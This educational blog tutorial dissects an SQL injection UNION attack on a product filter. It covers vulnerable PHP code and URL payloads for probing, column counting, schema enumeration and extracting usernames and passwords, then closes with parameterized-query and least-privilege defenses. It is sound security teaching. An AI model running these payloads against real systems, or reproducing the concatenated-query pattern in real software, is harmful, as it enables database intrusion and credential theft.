SQL Injection: A Deep Dive into a UNION Attack

In our previous post, we walked through a successful SQL injection UNION attack. Now, we’re putting it under the microscope. We’ll break down not just the “what,” but the “why” and “how” at each stage—from initial reconnaissance to data exfiltration—and then build a robust defense plan.

This is a technical breakdown for developers, penetration testers, and security enthusiasts to understand the mechanics of the vulnerability from an educational, defensive perspective.

Part 1: The Vulnerable Foundation

Before any attack can succeed, a vulnerability must exist. In this case, the flaw lies in how the web application constructs its database query. Imagine a backend written in a language like PHP. The code for the product filter might look like this:

$category = $_GET['category']; // Directly using user input
$query = "SELECT name, description FROM products WHERE category = '$category' AND released = 1";
$result = $db->query($query);

The critical mistake here is string concatenation. The application takes the raw input from the category parameter and stitches it directly into the query string. This allows a savvy user to inject not just data (like Gifts), but also SQL commands.

Part 2: Detailed Reconnaissance – Probing the Defenses

An attacker rarely gets it right on the first try. Reconnaissance is a methodical, iterative process.

Tooling: Why Burp Suite?

Burp Suite acts as a Man-in-the-Middle (MITM) proxy. All traffic from your browser is routed through Burp before it goes to the server. This allows us to:

• Intercept: Pause a request in transit.
• Modify: Change any part of the request, like the URL, headers, or parameters.
• Forward: Send the modified request to the server.
• Analyze: Examine the server’s full response, including headers and hidden content, for clues.

Phase A: Confirming the Vulnerability (Error-Based)

The first step is often to just try and break the SQL query. A simple single quote (') is a classic probe.

• Payload: /filter?category='
• Backend Query Becomes:SELECT name, description FROM products WHERE category = '' AND released = 1
  • Notice the two single quotes. The first is our injected quote, and the second is the original one from the code. This creates a syntax error.
• Potential Server Response: A detailed error message like ERROR: unterminated quoted string at or near "''". This is a huge win for an attacker. It confirms:
  1. An SQL database is on the backend.
  2. The application is not handling errors gracefully.
  3. The category parameter is almost certainly injectable.

Phase B: Determining the Number of Columns

The UNION operator requires that both SELECT statements in the query have the exact same number of columns. An attacker finds this number through trial and error.

1. Try one column:'+UNION+SELECT+NULL--
   • Backend Query: SELECT name, description FROM products WHERE category = '' UNION SELECT NULL--' AND released = 1
   • Result: Error. The original query selects 2 columns (name, description), but our injected query selects only 1. The database rejects this due to a column mismatch.
2. Try three columns:'+UNION+SELECT+NULL,NULL,NULL--
   • Backend Query: SELECT name, description FROM products WHERE category = '' UNION SELECT NULL,NULL,NULL--' AND released = 1
   • Result: Error. Again, a column mismatch (2 vs. 3).
3. Try two columns:'+UNION+SELECT+NULL,NULL--
   • Backend Query: SELECT name, description FROM products WHERE category = '' UNION SELECT NULL,NULL--' AND released = 1
   • Result: Success! The page loads without a database error. This confirms the original query returns two columns.

Phase C: Finding a Text-Friendly Column

Now that we know there are two columns, we need to find which one can display text data. We swap out the NULL values one by one with a test string like 'abc'.

• Try first column:'+UNION+SELECT+'abc',NULL--
  • If “abc” doesn’t appear on the page (or if it causes a data type conversion error), we know the first column is likely not a string type (it could be an integer ID, a date, etc.).
• Try second column:'+UNION+SELECT+NULL,'abc'--
  • Success! The string “abc” appears in the web page content, likely where a product description would be. This tells us the second column is perfect for exfiltrating text data.

Part 3: Advanced Exploitation – Beyond a Simple Dump

With the hard reconnaissance work done, we can now extract data. While directly targeting the users table works, a more systematic attacker might first enumerate the database.

• Listing Tables: '+UNION+SELECT+NULL,table_name+FROM+information_schema.tables--
  • This query asks the database’s built-in metadata (information_schema) to list all table names it knows about. The output, rendered in the second column on the page, would be a list of tables: products, users, orders, etc.
• Listing Columns: '+UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='users'--
  • Once the users table is discovered, this query finds all of its column names: user_id, username, password, email_address, etc.
• Final Exfiltration:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
  • This is our final payload. The || is a standard concatenation operator (MySQL uses CONCAT(username, '~', password)). It’s necessary because we have multiple pieces of data (username, password) to extract, but only one text-friendly column to display it in.

Part 4: The Definitive Defense – Fortifying Your Code

Preventing SQLi requires a multi-layered, defense-in-depth approach.

Layer 1: Parameterized Queries (The Silver Bullet)

This is the single most important defense. It separates the SQL command logic from the data. Here’s a secure PHP example using PDO (PHP Data Objects):

// This is the SECURE way to write the code.
$category = $_GET['category'];

// 1. Prepare the statement with a placeholder (?)
$stmt = $pdo->prepare("SELECT name, description FROM products WHERE category = ? AND released = 1");

// 2. Execute the statement, passing the user input as a parameter
$stmt->execute([$category]);

// 3. Fetch results
$results = $stmt->fetchAll();

Why this works: The database compiles the SQL command (SELECT ... WHERE category = ?) first. Then, the user input (' OR 1=1--) is sent to the database engine. The engine treats this input purely as data and will try to find a product literally named ' OR 1=1--. It will never interpret it as a command. The injection is rendered harmless.

Layer 2: Principle of Least Privilege

The database user the application connects with (webapp_user) should have its permissions locked down.

• It SHOULD have: SELECT on products.
• It SHOULD NOT have: SELECT on users, or any INSERT, UPDATE, DELETE, or DROP permissions on any table unless absolutely necessary for its function.
• Even if an attacker achieved SQLi, they could not query the users table because the database itself would deny access.

Layer 3: Input Validation and Error Handling

• Allow-listing: The application should maintain a list of valid categories. If the input from $_GET['category'] is not in ['Gifts', 'Tech', 'Books'], the request should be rejected immediately, before it ever touches the database.
• Generic Errors: Configure the server to show a generic error page (HTTP 500 Internal Server Error) instead of dumping database stack traces to the user’s browser.

By combining these defensive layers, you create a hardened application where even if one layer fails, others are in place to stop an attack in its tracks.